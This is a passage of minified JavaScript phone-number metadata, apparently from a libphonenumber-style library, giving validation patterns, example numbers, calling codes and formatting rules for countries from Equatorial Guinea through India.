,[-1]],[,,,,,,,,,[-1]],"GQ",240,"00",,,,,,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[235]"]],[,"(\\d{3})(\\d{6})","$1 $2",["[89]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GR:[,[,,"5005000\\d{3}|8\\d{9,11}|(?:[269]\\d|70)\\d{8}",,,,,,,[10,11,12]],[,,"2(?:1\\d\\d|2(?:2[1-46-9]|[36][1-8]|4[1-7]|5[1-4]|7[1-5]|[89][1-9])|3(?:1\\d|2[1-57]|[35][1-3]|4[13]|7[1-7]|8[124-6]|9[1-79])|4(?:1\\d|2[1-8]|3[1-4]|4[13-5]|6[1-578]|9[1-5])|5(?:1\\d|[29][1-4]|3[1-5]|4[124]|5[1-6])|6(?:1\\d|[269][1-6]|3[1245]|4[1-7]|5[13-9]|7[14]|8[1-5])|7(?:1\\d|2[1-5]|3[1-6]|4[1-7]|5[1-57]|6[135]|9[125-7])|8(?:1\\d|2[1-5]|[34][1-4]|9[1-57]))\\d{6}",
,,,"2123456789",,,[10]],[,,"68[57-9]\\d{7}|(?:69|94)\\d{8}",,,,"6912345678",,,[10]],[,,"800\\d{7,9}",,,,"8001234567"],[,,"90[19]\\d{7}",,,,"9091234567",,,[10]],[,,"8(?:0[16]|12|[27]5|50)\\d{7}",,,,"8011234567",,,[10]],[,,"70\\d{8}",,,,"7012345678",,,[10]],[,,,,,,,,,[-1]],"GR",30,"00",,,,,,,,[[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["21|7"]],[,"(\\d{4})(\\d{6})","$1 $2",["2(?:2|3[2-57-9]|4[2-469]|5[2-59]|6[2-9]|7[2-69]|8[2-49])|5"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[2689]"]],[,"(\\d{3})(\\d{3,4})(\\d{5})",
"$1 $2 $3",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"5005000\\d{3}",,,,"5005000123",,,[10]],,,[,,,,,,,,,[-1]]],GT:[,[,,"80\\d{6}|(?:1\\d{3}|[2-7])\\d{7}",,,,,,,[8,11]],[,,"[267][2-9]\\d{6}",,,,"22456789",,,[8]],[,,"(?:[3-5]\\d\\d|80[0-4])\\d{5}",,,,"51234567",,,[8]],[,,"18[01]\\d{8}",,,,"18001112222",,,[11]],[,,"19\\d{9}",,,,"19001112222",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"GT",502,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[2-8]"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",
["1"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GU:[,[,,"(?:[58]\\d\\d|671|900)\\d{7}",,,,,,,[10],[7]],[,,"671(?:2\\d\\d|3(?:00|3[39]|4[349]|55|6[26])|4(?:00|56|7[1-9]|8[02-46-9])|5(?:55|6[2-5]|88)|6(?:3[2-578]|4[24-9]|5[34]|78|8[235-9])|7(?:[0479]7|2[0167]|3[45]|8[7-9])|8(?:[2-57-9]8|6[48])|9(?:2[29]|6[79]|7[1279]|8[7-9]|9[78]))\\d{4}",,,,"6713001234",,,,[7]],[,,"671(?:2\\d\\d|3(?:00|3[39]|4[349]|55|6[26])|4(?:00|56|7[1-9]|8[02-46-9])|5(?:55|6[2-5]|88)|6(?:3[2-578]|4[24-9]|5[34]|78|8[235-9])|7(?:[0479]7|2[0167]|3[45]|8[7-9])|8(?:[2-57-9]8|6[48])|9(?:2[29]|6[79]|7[1279]|8[7-9]|9[78]))\\d{4}",
,,,"6713001234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"GU",1,"011","1",,,"([2-9]\\d{6})$|1","671$1",,1,,,[,,,,,,,,,[-1]],,"671",[,,,,,,,,,[-1]],[,,,,
,,,,,[-1]],,,[,,,,,,,,,[-1]]],GW:[,[,,"[49]\\d{8}|4\\d{6}",,,,,,,[7,9]],[,,"443\\d{6}",,,,"443201234",,,[9]],[,,"9(?:5\\d|6[569]|77)\\d{6}",,,,"955012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"40\\d{5}",,,,"4012345",,,[7]],"GW",245,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["40"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[49]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GY:[,[,,"(?:[2-8]\\d{3}|9008)\\d{3}",,,,,,,[7]],[,,"(?:2(?:1[6-9]|2[0-35-9]|3[1-4]|5[3-9]|6\\d|7[0-79])|3(?:2[25-9]|3\\d)|4(?:4[0-24]|5[56])|50[0-6]|77[1-57])\\d{4}",
,,,"2201234"],[,,"510\\d{4}|(?:6\\d|7[0-5])\\d{5}",,,,"6091234"],[,,"(?:289|8(?:00|6[28]|88|99))\\d{4}",,,,"2891234"],[,,"9008\\d{3}",,,,"9008123"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"515\\d{4}",,,,"5151234"],"GY",592,"001",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],HK:[,[,,"8[0-46-9]\\d{6,7}|9\\d{4,7}|(?:[2-7]|9\\d{3})\\d{7}",,,,,,,[5,6,7,8,9,11]],[,,"(?:2(?:[13-9]\\d|2[013-9])\\d|3(?:(?:[1569][0-24-9]|4[0-246-9]|7[0-24-69])\\d|8(?:4[0-8]|[579]\\d|6[0-2]))|58(?:0[1-9]|1[2-9]))\\d{4}",
,,,"21234567",,,[8]],[,,"(?:4(?:44[0-25-9]|6(?:1[0-7]|4[0-57-9]|6[0-4]))|5(?:73[0-6]|95[0-8])|6(?:26[013-8]|66[0-3])|70(?:7[1-8]|8[0-4])|848[0-35-9]|9(?:29[013-9]|39[01]|59[0-4]|899))\\d{4}|(?:4(?:4[0-35-9]|6[02357-9]|70)|5(?:[1-59][0-46-9]|6[0-4689]|7[0-246-9])|6(?:0[1-9]|[13-59]\\d|[268][0-57-9]|7[0-79])|70[1-39]|84[0-39]|9(?:0[1-9]|1[02-9]|[2358][0-8]|[467]\\d))\\d{5}",,,,"51234567",,,[8]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"900(?:[0-24-9]\\d{7}|3\\d{1,4})",,,,"90012345678",,,[5,6,7,8,11]],
[,,,,,,,,,[-1]],[,,"8(?:1[0-4679]\\d|2(?:[0-36]\\d|7[0-4])|3(?:[034]\\d|2[09]|70))\\d{4}",,,,"81123456",,,[8]],[,,,,,,,,,[-1]],"HK",852,"00(?:30|5[09]|[126-9]?)",,,,,,"00",,[[,"(\\d{3})(\\d{2,5})","$1 $2",["900","9003"]],[,"(\\d{4})(\\d{4})","$1 $2",["[2-7]|8[1-4]|9(?:0[1-9]|[1-8])"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"]],[,"(\\d{3})(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3 $4",["9"]]],,[,,"7(?:1(?:0[0-38]|1[0-3679]|3[013]|69|9[0136])|2(?:[02389]\\d|1[18]|7[27-9])|3(?:[0-38]\\d|7[0-369]|9[2357-9])|47\\d|5(?:[178]\\d|5[0-5])|6(?:0[0-7]|2[236-9]|[35]\\d)|7(?:[27]\\d|8[7-9])|8(?:[23689]\\d|7[1-9])|9(?:[025]\\d|6[0-246-8]|7[0-36-9]|8[238]))\\d{4}",
,,,"71123456",,,[8]],,,[,,,,,,,,,[-1]],[,,"30(?:0[1-9]|[15-7]\\d|2[047]|89)\\d{4}",,,,"30161234",,,[8]],,,[,,,,,,,,,[-1]]],HN:[,[,,"8\\d{10}|[237-9]\\d{7}",,,,,,,[8,11]],[,,"2(?:2(?:0[0-59]|1[1-9]|[23]\\d|4[02-6]|5[57]|6[245]|7[0135689]|8[01346-9]|9[0-2])|4(?:0[578]|2[3-59]|3[13-9]|4[0-68]|5[1-3589])|5(?:0[2357-9]|1[1-356]|4[03-5]|5\\d|6[014-69]|7[04]|80)|6(?:[056]\\d|17|2[067]|3[047]|4[0-378]|[78][0-8]|9[01])|7(?:0[5-79]|6[46-9]|7[02-9]|8[034]|91)|8(?:79|8[0-357-9]|9[1-57-9]))\\d{4}",,,,"22123456",
,,[8]],[,,"[37-9]\\d{7}",,,,"91234567",,,[8]],[,,"8002\\d{7}",,,,"80021234567",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"HN",504,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1-$2",["[237-9]"]],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["8"]]],[[,"(\\d{4})(\\d{4})","$1-$2",["[237-9]"]]],[,,,,,,,,,[-1]],,,[,,"8002\\d{7}",,,,,,,[11]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],HR:[,[,,"(?:[24-69]\\d|3[0-79])\\d{7}|80\\d{5,7}|[1-79]\\d{7}|6\\d{5,6}",,,,,,,[6,7,8,9]],[,,"1\\d{7}|(?:2[0-3]|3[1-5]|4[02-47-9]|5[1-3])\\d{6,7}",
,,,"12345678",,,[8,9],[6,7]],[,,"9(?:(?:0[1-9]|[12589]\\d)\\d\\d|7(?:[0679]\\d\\d|5(?:[01]\\d|44|55|77|9[5-7])))\\d{4}|98\\d{6}",,,,"921234567",,,[8,9]],[,,"80\\d{5,7}",,,,"800123456",,,[7,8,9]],[,,"6[01459]\\d{6}|6[01]\\d{4,5}",,,,"611234",,,[6,7,8]],[,,,,,,,,,[-1]],[,,"7[45]\\d{6}",,,,"74123456",,,[8]],[,,,,,,,,,[-1]],"HR",385,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["6[01]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2,3})","$1 $2 $3",["8"],"0$1"],[,"(\\d)(\\d{4})(\\d{3})","$1 $2 $3",
["1"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["6|7[245]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["9"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-57]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"62\\d{6,7}|72\\d{6}",,,,"62123456",,,[8,9]],,,[,,,,,,,,,[-1]]],HT:[,[,,"(?:[2-489]\\d|55)\\d{6}",,,,,,,[8]],[,,"2(?:2\\d|5[1-5]|81|9[149])\\d{5}",,,,"22453300"],[,,"(?:[34]\\d|55)\\d{6}",,,,"34101234"],[,,"8\\d{7}",,,,
"80012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:[67][0-4]|8[0-3589]|9\\d)\\d{5}",,,,"98901234"],"HT",509,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["[2-589]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],HU:[,[,,"[235-7]\\d{8}|[1-9]\\d{7}",,,,,,,[8,9],[6,7]],[,,"(?:1\\d|[27][2-9]|3[2-7]|4[24-9]|5[2-79]|6[23689]|8[2-57-9]|9[2-69])\\d{6}",,,,"12345678",,,[8],[6,7]],[,,"(?:[257]0|3[01])\\d{7}",,,,"201234567",,,[9]],[,,"(?:[48]0\\d|680[29])\\d{5}",
,,,"80123456"],[,,"9[01]\\d{6}",,,,"90123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"21\\d{7}",,,,"211234567",,,[9]],"HU",36,"00","06",,,"06",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["1"],"(06 $1)"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[27][2-9]|3[2-7]|4[24-9]|5[2-79]|6|8[2-57-9]|9[2-69]"],"(06 $1)"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-9]"],"06 $1"]],,[,,,,,,,,,[-1]],,,[,,"(?:[48]0\\d|680[29])\\d{5}"],[,,"38\\d{7}",,,,"381234567",,,[9]],,,[,,,,,,,,,[-1]]],ID:[,[,,"00[1-9]\\d{9,14}|(?:[1-36]|8\\d{5})\\d{6}|00\\d{9}|[1-9]\\d{8,10}|[2-9]\\d{7}",
,,,,,,[7,8,9,10,11,12,13,14,15,16,17],[5,6]],[,,"2[124]\\d{7,8}|619\\d{8}|2(?:1(?:14|500)|2\\d{3})\\d{3}|61\\d{5,8}|(?:2(?:[35][1-4]|6[0-8]|7[1-6]|8\\d|9[1-8])|3(?:1|[25][1-8]|3[1-68]|4[1-3]|6[1-3568]|7[0-469]|8\\d)|4(?:0[1-589]|1[01347-9]|2[0-36-8]|3[0-24-68]|43|5[1-378]|6[1-5]|7[134]|8[1245])|5(?:1[1-35-9]|2[25-8]|3[124-9]|4[1-3589]|5[1-46]|6[1-8])|6(?:[25]\\d|3[1-69]|4[1-6])|7(?:02|[125][1-9]|[36]\\d|4[1-8]|7[0-36-9])|9(?:0[12]|1[013-8]|2[0-479]|5[125-8]|6[23679]|7[159]|8[01346]))\\d{5,8}",,,,
"218350123",,,[7,8,9,10,11],[5,6]],[,,"8[1-35-9]\\d{7,10}",,,,"812345678",,,[9,10,11,12]],[,,"00(?:1803\\d{5,11}|7803\\d{7})|(?:177\\d|800)\\d{5,7}",,,,"8001234567",,,[8,9,10,11,12,13,14,15,16,17]],[,,"809\\d{7}",,,,"8091234567",,,[10]],[,,"804\\d{7}",,,,"8041234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"ID",62,"00[89]","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["15"]],[,"(\\d{2})(\\d{5,9})","$1 $2",["2[124]|[36]1"],"(0$1)"],[,"(\\d{3})(\\d{5,7})","$1 $2",["800"],"0$1"],[,"(\\d{3})(\\d{5,8})",
"$1 $2",["[2-79]"],"(0$1)"],[,"(\\d{3})(\\d{3,4})(\\d{3})","$1-$2-$3",["8[1-35-9]"],"0$1"],[,"(\\d{3})(\\d{6,8})","$1 $2",["1"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["804"],"0$1"],[,"(\\d{3})(\\d)(\\d{3})(\\d{3})","$1 $2 $3 $4",["80"],"0$1"],[,"(\\d{3})(\\d{4})(\\d{4,5})","$1-$2-$3",["8"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{2,8})","$1 $2 $3 $4",["001"]],[,"(\\d{2})(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3 $4",["0"]]],[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["15"]],[,"(\\d{2})(\\d{5,9})","$1 $2",
["2[124]|[36]1"],"(0$1)"],[,"(\\d{3})(\\d{5,7})","$1 $2",["800"],"0$1"],[,"(\\d{3})(\\d{5,8})","$1 $2",["[2-79]"],"(0$1)"],[,"(\\d{3})(\\d{3,4})(\\d{3})","$1-$2-$3",["8[1-35-9]"],"0$1"],[,"(\\d{3})(\\d{6,8})","$1 $2",["1"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["804"],"0$1"],[,"(\\d{3})(\\d)(\\d{3})(\\d{3})","$1 $2 $3 $4",["80"],"0$1"],[,"(\\d{3})(\\d{4})(\\d{4,5})","$1-$2-$3",["8"],"0$1"]],[,,,,,,,,,[-1]],,,[,,"001803\\d{5,11}|(?:007803\\d|8071)\\d{6}",,,,,,,[10,11,12,13,14,15,16,17]],[,
,"(?:1500|8071\\d{3})\\d{3}",,,,"8071123456",,,[7,10]],,,[,,,,,,,,,[-1]]],IE:[,[,,"(?:1\\d|[2569])\\d{6,8}|4\\d{6,9}|7\\d{8}|8\\d{8,9}",,,,,,,[7,8,9,10],[5,6]],[,,"(?:1\\d|21)\\d{6,7}|(?:2[24-9]|4(?:0[24]|5\\d|7)|5(?:0[45]|1\\d|8)|6(?:1\\d|[237-9])|9(?:1\\d|[35-9]))\\d{5}|(?:23|4(?:[1-469]|8\\d)|5[23679]|6[4-6]|7[14]|9[04])\\d{7}",,,,"2212345",,,,[5,6]],[,,"8(?:22|[35-9]\\d)\\d{6}",,,,"850123456",,,[9]],[,,"1800\\d{6}",,,,"1800123456",,,[10]],[,,"15(?:1[2-8]|[2-8]0|9[089])\\d{6}",,,,"1520123456",
,,[10]],[,,"18[59]0\\d{6}",,,,"1850123456",,,[10]],[,,"700\\d{6}",,,,"700123456",,,[9]],[,,"76\\d{7}",,,,"761234567",,,[9]],"IE",353,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{5})","$1 $2",["2[24-9]|47|58|6[237-9]|9[35-9]"],"(0$1)"],[,"(\\d{3})(\\d{5})","$1 $2",["[45]0"],"(0$1)"],[,"(\\d)(\\d{3,4})(\\d{4})","$1 $2 $3",["1"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2569]|4[1-69]|7[14]"],"(0$1)"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["70"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["81"],
"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[78]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["4"],"(0$1)"],[,"(\\d{2})(\\d)(\\d{3})(\\d{4})","$1 $2 $3 $4",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,"18[59]0\\d{6}",,,,,,,[10]],[,,"818\\d{6}",,,,"818123456",,,[9]],,,[,,"88210[1-9]\\d{4}|8(?:[35-79]5\\d\\d|8(?:[013-9]\\d\\d|2(?:[01][1-9]|[2-9]\\d)))\\d{5}",,,,"8551234567",,,[10]]],IL:[,[,,"1\\d{6}(?:\\d{3,5})?|[57]\\d{8}|[1-489]\\d{7}",,,,,,,[7,8,
9,10,11,12]],[,,"153\\d{8,9}|29[1-9]\\d{5}|(?:2[0-8]|[3489]\\d)\\d{6}",,,,"21234567",,,[8,11,12],[7]],[,,"55(?:410|57[0-289])\\d{4}|5(?:(?:[0-2][02-9]|[36]\\d|[49][2-9]|8[3-7])\\d|5(?:01|2\\d|3[0-3]|4[34]|5[0-25689]|6[6-8]|7[0-267]|8[7-9]|9[1-9]))\\d{5}",,,,"502345678",,,[9]],[,,"1(?:255|80[019]\\d{3})\\d{3}",,,,"1800123456",,,[7,10]],[,,"1212\\d{4}|1(?:200|9(?:0[0-2]|19))\\d{6}",,,,"1919123456",,,[8,10]],[,,"1700\\d{6}",,,,"1700123456",,,[10]],[,,,,,,,,,[-1]],[,,"7(?:38(?:0\\d|5[0-2569]|88)|8(?:33|55|77|81)\\d)\\d{4}|7(?:18|2[23]|3[237]|47|6[258]|7\\d|82|9[2-9])\\d{6}",
,,,"771234567",,,[9]],"IL",972,"0(?:0|1[2-9])","0",,,"0",,,,[[,"(\\d{4})(\\d{3})","$1-$2",["125"]],[,"(\\d{4})(\\d{2})(\\d{2})","$1-$2-$3",["121"]],[,"(\\d)(\\d{3})(\\d{4})","$1-$2-$3",["[2-489]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["[57]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3})","$1-$2-$3",["12"]],[,"(\\d{4})(\\d{6})","$1-$2",["159"]],[,"(\\d)(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3-$4",["1[7-9]"]],[,"(\\d{3})(\\d{1,2})(\\d{3})(\\d{4})","$1-$2 $3-$4",["15"]]],,[,,,,,,,,,[-1]],,,[,,"1700\\d{6}",
,,,,,,[10]],[,,"1599\\d{6}",,,,"1599123456",,,[10]],,,[,,"151\\d{8,9}",,,,"15112340000",,,[11,12]]],IM:[,[,,"1624\\d{6}|(?:[3578]\\d|90)\\d{8}",,,,,,,[10],[6]],[,,"1624(?:230|[5-8]\\d\\d)\\d{3}",,,,"1624756789",,,,[6]],[,,"76245[06]\\d{4}|7(?:4576|[59]24\\d|624[0-4689])\\d{5}",,,,"7924123456"],[,,"808162\\d{4}",,,,"8081624567"],[,,"8(?:440[49]06|72299\\d)\\d{3}|(?:8(?:45|70)|90[0167])624\\d{4}",,,,"9016247890"],[,,,,,,,,,[-1]],[,,"70\\d{8}",,,,"7012345678"],[,,"56\\d{8}",,,,"5612345678"],"IM",44,
"00","0",,,"([25-8]\\d{5})$|0","1624$1",,,,,[,,,,,,,,,[-1]],,"74576|(?:16|7[56])24",[,,,,,,,,,[-1]],[,,"3440[49]06\\d{3}|(?:3(?:08162|3\\d{4}|45624|7(?:0624|2299))|55\\d{4})\\d{4}",,,,"5512345678"],,,[,,,,,,,,,[-1]]],IN:[,[,,"(?:000800|[2-9]\\d\\d)\\d{7}|1\\d{7,12}",,,,,,,[8,9,10,11,12,13],[6,7]],[,,"2717(?:[2-7]\\d|95)\\d{4}|(?:271[0-689]|782[0-6])[2-7]\\d{5}|(?:170[24]|2(?:(?:[02][2-79]|90)\\d|80[13468])|(?:3(?:23|80)|683|79[1-7])\\d|4(?:20[24]|72[2-8])|552[1-7])\\d{6}|(?:11|33|4[04]|80)[2-7]\\d{7}|(?:342|674|788)(?:[0189][2-7]|[2-7]\\d)\\d{5}|(?:1(?:2[0-249]|3[0-25]|4[145]|[59][14]|6[014]|7[1257]|8[01346])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[13]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[014-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|6(?:12|[2-47]1|5[17]|6[13]|80)|7(?:12|2[14]|3[134]|4[47]|5[15]|[67]1)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91))[2-7]\\d{6}|(?:1(?:2[35-8]|3[346-9]|4[236-9]|[59][0235-9]|6[235-9]|7[34689]|8[257-9])|2(?:1[134689]|3[24-8]|4[2-8]|5[25689]|6[2-4679]|7[3-79]|8[2-479]|9[235-9])|3(?:01|1[79]|2[1245]|4[5-8]|5[125689]|6[235-7]|7[157-9]|8[2-46-8])|4(?:1[14578]|2[5689]|3[2-467]|5[4-7]|6[35]|73|8[2689]|9[2389])|5(?:[16][146-9]|2[14-8]|3[1346]|4[14-69]|5[46]|7[2-4]|8[2-8]|9[246])|6(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[124-6])|7(?:1[013-9]|2[0235-9]|3[2679]|4[1-35689]|5[2-46-9]|[67][02-9]|8[013-7]|9[089])|8(?:1[1357-9]|2[235-8]|3[03-57-9]|4[0-24-9]|5\\d|6[2457-9]|7[1-6]|8[1256]|9[2-4]))\\d[2-7]\\d{5}",
,,,"7410410123",,,[10],[6,7,8]],[,,"(?:61279|7(?:887[02-9]|9(?:313|79[07-9]))|8(?:079[04-9]|(?:84|91)7[02-8]))\\d{5}|(?:6(?:12|[2-47]1|5[17]|6[13]|80)[0189]|7(?:1(?:2[0189]|9[0-5])|2(?:[14][017-9]|8[0-59])|3(?:2[5-8]|[34][017-9]|9[016-9])|4(?:1[015-9]|[29][89]|39|8[389])|5(?:[15][017-9]|2[04-9]|9[7-9])|6(?:0[0-47]|1[0-257-9]|2[0-4]|3[19]|5[4589])|70[0289]|88[089]|97[02-8])|8(?:0(?:6[67]|7[02-8])|70[017-9]|84[01489]|91[0-289]))\\d{6}|(?:7(?:31|4[47])|8(?:16|2[014]|3[126]|6[136]|7[78]|83))(?:[0189]\\d|7[02-8])\\d{5}|(?:6(?:[09]\\d|1[04679]|2[03689]|3[05-9]|4[0489]|50|6[069]|7[07]|8[7-9])|7(?:0\\d|2[0235-79]|3[05-8]|40|5[0346-8]|6[6-9]|7[1-9]|8[0-79]|9[089])|8(?:0[01589]|1[0-57-9]|2[235-9]|3[03-57-9]|[45]\\d|6[02457-9]|7[1-69]|8[0-25-9]|9[02-9])|9\\d\\d)\\d{7}|(?:6(?:(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|8[124-6])\\d|7(?:[235689]\\d|4[0189]))|7(?:1(?:[013-8]\\d|9[6-9])|28[6-8]|3(?:2[0-49]|9[2-5])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\d|5[0-367])|70[13-7]|881))[0189]\\d{5}",
,,,"8123456789",,,[10]],[,,"000800\\d{7}|1(?:600\\d{6}|80(?:0\\d{4,9}|3\\d{9}))",,,,"1800123456"],[,,"186[12]\\d{9}",,,,"1861123456789",,,[13]],[,,"1860\\d{7}",,,,"18603451234",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"IN",91,"00","0",,,"0",,,,[[,"(\\d{7})","$1",["575"]],[,"(\\d{8})","$1",["5(?:0|2[23]|3[03]|[67]1|88)","5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|888)","5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|8888)"],,,1],[,"(\\d{4})(\\d{4,5})","$1 $2",["180","1800"],,,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",
["140"],,,1],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["11|2[02]|33|4[04]|79[1-7]|80[2-46]","11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])","11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1(?:2[0-249]|3[0-25]|4[145]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1)|6(?:12|[2-4]1|5[17]|6[13]|80)|7(?:12|3[134]|4[47]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)|(?:43|59|75)[15]|(?:1[59]|29|67|72)[14]",
"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|674|7(?:(?:2[14]|3[34]|5[15])[2-6]|61[346]|88[0-8])|8(?:70[2-6]|84[235-7]|91[3-7])|(?:1(?:29|60|8[06])|261|552|6(?:12|[2-47]1|5[17]|6[13]|80)|7(?:12|31|4[47])|8(?:16|2[014]|3[126]|6[136]|7[78]|83))[2-7]","1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|6(?:12(?:[2-6]|7[0-8])|74[2-7])|7(?:(?:2[14]|5[15])[2-6]|3171|61[346]|88(?:[2-7]|82))|8(?:70[2-6]|84(?:[2356]|7[19])|91(?:[3-6]|7[19]))|73[134][2-6]|(?:74[47]|8(?:16|2[014]|3[126]|6[136]|7[78]|83))(?:[2-6]|7[19])|(?:1(?:29|60|8[06])|261|552|6(?:[2-4]1|5[17]|6[13]|7(?:1|4[0189])|80)|7(?:12|88[01]))[2-7]"],
